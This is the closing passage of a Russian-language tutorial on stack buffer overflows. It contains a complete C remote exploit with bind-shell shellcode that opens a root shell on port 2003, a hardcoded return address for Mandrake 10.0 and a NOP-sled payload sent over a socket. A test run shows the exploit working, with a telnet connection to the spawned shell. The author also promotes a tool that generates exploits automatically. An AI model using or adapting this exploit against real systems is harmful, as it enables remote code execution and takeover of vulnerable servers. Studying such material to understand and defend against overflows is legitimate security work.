0xbffff990:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa10:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa20:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa30:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa40:     0x41414141      0x41414141      0x41414141      0x41414141

(gdb)


Так вот. Произошло настоящее переполнение. Хочу предупредить, что для того чтобы правильно выбрать адрес на шеллкод не стоит брать адреса верхние и нижние. Нужно взять адреса средние.
Настало время написать эксплоит.

[========================pre#8 exp_vsrv.c==============================]
#include 
#include 
#include 

static char shellpre[]= // Bind 2003 PORT xCrZx shellpre
"\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
         "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
         "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
         "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
         "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
         "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
         "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
         "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";


#define RET 0xbffff9d0 // mandrake 10.0 OR.

int main(int argc, char *argv[])
{
int s, i, size;
struct sockaddr_in remote;
char buf[1000];
char *p;
if ( argc < 3 ) { printf("usage: %s  \n", argv[0]); exit(0); }
memset(buf, 0x90, 1000-1-strlen(shellpre));
sprintf(buf+1000-1-strlen(shellpre), "%s", shellpre);
p=buf;
for ( i = 0; i <= 500; i += 4 )
*(long*)(p+i) = RET;

s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[2]));
remote.sin_addr.s_addr = inet_addr(argv[1]);

connect(s, (struct sockaddr *)&remote, sizeof(remote));
send(s, buf, sizeof(buf),0);
close(s);
}
[==============================pre#8 exp_vsrv.c==========================]


Давайте протестируем эксплоит.

[root@localhost boft]# gcc exp_vsrv.c -o exp
[root@localhost boft]# ./exp
usage: ./exp  
[root@localhost boft]# ./exp 127.0.0.1 2278
[root@localhost boft]# telnet 127.0.0.1 2003
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
Escape character is '^]'.


Опа... Работает!
Вот в принципе и все. Вообще переполнение удаленное и локальное мало чем отличается.

 
ЗАКЛЮЧЕНИЕ.

 
В этом материале я постарался рассказать очень подробно тему переполнения. Я думаю, она очень понятна даже для человека, который вообще не знал об этой уязвимости. В заключении хотелось бы также отметить то, что я разработал утилиту, которая генерирует эксплоит автоматически.
Скачать ее вы можете на сайте http://unl0ck.info. На данный момент это версия 0.3. В будущем планируется добавить новые возможности.

 
Хотелось бы поблагодарить следующих людей: stine, cr0n, f00n, nekd0, forsyte, eitr0n, msm, mssunny. Без этих людей жизнь в Сети была бы однообразна.

 
По поводу каких-либо вопросов пишите на darkeagle@list.ru
http://unl0ck.info

 
P.S. Все примеры программ в статье Вы можете скачать http://www.unl0ck.info/boft.tgz


			

	          


  
Наш канал горячее, чем поверхность Солнца!

  

    5778 К? Пф! У нас градус знаний зашкаливает!
  

  Подпишитесь и воспламените свой разум